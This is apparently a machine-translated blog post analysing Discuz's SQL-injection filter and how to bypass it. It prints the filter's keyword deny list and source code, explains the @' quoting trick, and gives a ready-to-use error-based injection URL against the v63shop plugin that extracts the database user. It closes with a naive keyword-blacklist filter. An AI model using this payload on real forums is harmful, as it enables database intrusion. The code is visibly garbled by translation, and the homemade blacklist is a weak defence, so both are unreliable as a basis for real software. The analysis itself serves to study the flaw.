Discuz is a set of common PHP community forum software Systems, in the domestic possession of a large number of user groups, is to do the forum's preferred system, in the early days of the discuz to do the forum system, the deepest feeling should be the forum's security issues, used in the past, often have a lot of information to inject, It's impossible.
Fortunately Discuz system updates very quickly, every time the security problem is quickly updated, and the most headaches is probably the injection of SQL, in fact, not only discuz system, Internet attacks on the SQL injection is very terrible, although discuz The existing security problems of the system are very perfect, but because of the strong function of the system, we should pay attention to the safety problem.
Here's a section of Discuz Anti-SQL injection code that uses the Magic reference function provided by PHP to refer to the data magic_quotes_gpc, which automatically adds a backslash when the data we're referencing encounters single quotes and double quotes and backslashes, and helps us automatically translate symbols, Make sure the data operation is running correctly, the following code can be studied carefully.
code is as follows |
copy code |
$magic _ QUOTES_GPC = GET_MAGIC_QUOTES_GPC (); @extract (Daddslashes ($_cookie)); @extract (Daddslashes ($_post)); @extract (Daddslashes ($_get)); if (! $magic _quotes_gpc) { $_files = daddslashes ($_files); } Function daddslashes ($string, $force = 0) { if (! $GLOBALS [' MAGIC_QUOTES_GPC '] | | $force) { If Is_array ($string ) { foreach ($string as $key => $val) { $string [$key] = Daddslashes ($val, $force); } } else { $string = addslashes ($string); } } return $string; } |
The above method is really omnipotent can prevent SQL injection, and recently experts found discuz some problems.
Discuz Anti-injection analysis is as follows:
First look at the anti-injection configuration:
code is as follows |
copy code |
$_config[' security ' [' Querysafe '] [' status '] = 1; /whether to turn on SQL security detection, automatic prevention of SQL injection attacks $_config[' querysafe ' ['] Dfunction '] = Array (' Load_file ', ' hex ', ' substring ', ' if ', ' Ord ', ' char '); $_config[' security '] [' querysafe '] [' daction '] = Array (' Intooutfile ', ' intodumpfile ', ' Unionselect ', ' (SELECT, ' UnionAll ', ' uniondistinct '); $_config[' security '] [' querysafe '] [' dnote '] = Array ('/* ', '/* ', ' # ', '-', ' ', ' '); $_config[' security '] [' querysafe '] [' dlikehex '] = 1; $_config[' security '] [' querysafe '] [' afullnote '] = 0; |
The Checkquery ($sql) function under the {sourceclassdiscuzdiscuz_database.php} file Discuz_database_safecheck class is filtered before Discuz executes the SQL statement. But the filtration is not rigorous, we find that we can bypass the injection function.
The code is as follows |
Copy Code |
public static function Checkquery ($sql) { if (self:: $config = = null) { Self:: $config = Getglobal (' Config/security/querysafe '); } if (self:: $config [' status ']) { $cmd = Trim (Strtoupper (substr ($sql, 0, Strpos ($sql, '))); if (In_array ($cmd, Self:: $checkcmd)) { $test = Self::_do_query_safe ($sql); if ($test < 1) { throw new Dbexception (' It is isn't safe to doing this query ', 0, $sql); } } } return true; private static function _do_query_safe ($sql) { $sql = str_replace (Array (' \ \ ', ' \ ', ' \ ', ', ', ', '), ' ", $sql); $mark = $clean = ';
if (Strpos ($sql, '/') = = False && Strpos ($sql, ' # ') = = False && Strpos ($sql, '---') = = False) { $clean = Preg_replace ("/" (. +?) ' /S ", ', $sql); } else { $len = strlen ($sql); $mark = $clean = '; for ($i = 0; $i < $len; $i + +) { $str = $sql [$i]; Switch ($STR) { Case "": if (! $mark) { $mark = ""; $clean. = $str; } elseif ($mark = = ' ") { $mark = '; } Break Case '/': if (Empty ($mark) && $sql [$i + 1] = = ' * ') { $mark = '/* '; $clean. = $mark; $i + +; } elseif ($mark = = ' * ' && $sql [$i-1] = = ' * ') { $mark = '; $clean. = ' * '; } Break Case ' # ': if (empty ($mark)) { $mark = $str; $clean. = $str; } Break Case "n": if ($mark = = ' # ' | | $mark = = '--') { $mark = '; } Break Case '-': if (Empty ($mark) && substr ($sql, $i, 3) = = '--') { $mark = '--'; $clean. = $mark; } Break Default Break } $clean. = $mark? ': $str; } } $clean = Preg_replace ("/[^a-z0-9_-() #*/"]+/is "," ", Strtolower ($clean)); if (self:: $config [' afullnote ']) { $clean = Str_replace ('/**/', ', ', $clean); } if (Is_array (self:: $config [' dfunction ']) { foreach (self:: $config [' dfunction '] as $fun) { if (Strpos ($clean, $fun. ' (')!== false) Return '-1 '; } } if (Is_array (self:: $config [' daction ']) { foreach (self:: $config [' daction '] as $action) { if (Strpos ($clean, $action)!== false) Return '-3 '; } } if (self:: $config [' Dlikehex '] && strpos ($clean, ' like0x ')) { Return '-2 '; } if (Is_array (self:: $config [' dnote ']) { foreach (self:: $config [' Dnote '] as $note) { if (Strpos ($clean, $note)!== false) Return '-4 '; } } return 1; } The key bypass code for the anti-injection function is: if (Strpos ($sql, '/') = = False && Strpos ($sql, ' # ') = = False && Strpos ($sql, '---') = = False) { $clean = Preg_replace ("/" (. +?) ' /S ", ', $sql); } Else { |
In Discuz v63 Integral Mall Plug-in Injection vulnerability exp does not require a slash, #号和-comment character. So will execute $clean = preg_replace ("/" (. +?) ' /S ", ', $sql);
The contents of the two single quotes in the original SQL statement are replaced with NULL. Does not go into the else branch below. Else all of the actions below are actions on the $clean variable. So bypassing the idea is to put the SQL statement in the middle of two single quotes. For a feature of MySQL, @ ' is empty, so our attack statement can be placed in the middle of two @ ', even if the GPC is turned on, the single quote is escaped as ', and @ ' becomes @ ' has no effect on injection, so this bypass method is unrestricted.
That is, the attack for the injected vulnerability exp is:
The code is as follows |
Copy Code |
http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=110 or @ ' "and" SELECT count ( *), concat (Floor (rand (0) *2), (select User ()) A from Information_schema.tables group by a) b) or @ "" |
Debug output SQL statement:
We can see that our injection statements have been replaced, so the back door check character does not find the injection statement. Ultimately successful use of:
-->
The above method I wrote a function myself
code is as follows |
copy code |
/* Function Name: Inject_check () Function: Detect whether the submitted value contains SQL injected characters, prevent injection, protect server security Parameters : $sql _STR: Submitted variable return value: Return test result, ture or False */ Function Inject_check ($sql _str) { Returns eregi (' Select| Insert|and|or|update|delete| ' | /*|*|.. /|. /|union|into|load_file|outfile ', $sql _str); Filter } /* Function Name: verify_id () Function: Verify that the ID class value of the commit is legitimate parameter: $ID: Committed ID value Return value: Return the processed ID * * br> function verify_id ($id =null) { if (! $id) {exit (' No submit parameters! '); }//Is NULL to Judge ElseIf (Inject_check ($id)) {exit (' submitted parameter illegal! '); ///Injection judgment ElseIf (!is_numeric ($id)) {exit (' submitted parameter illegal! '); //number judgment $id = Intval ($id);//int Return $id; } |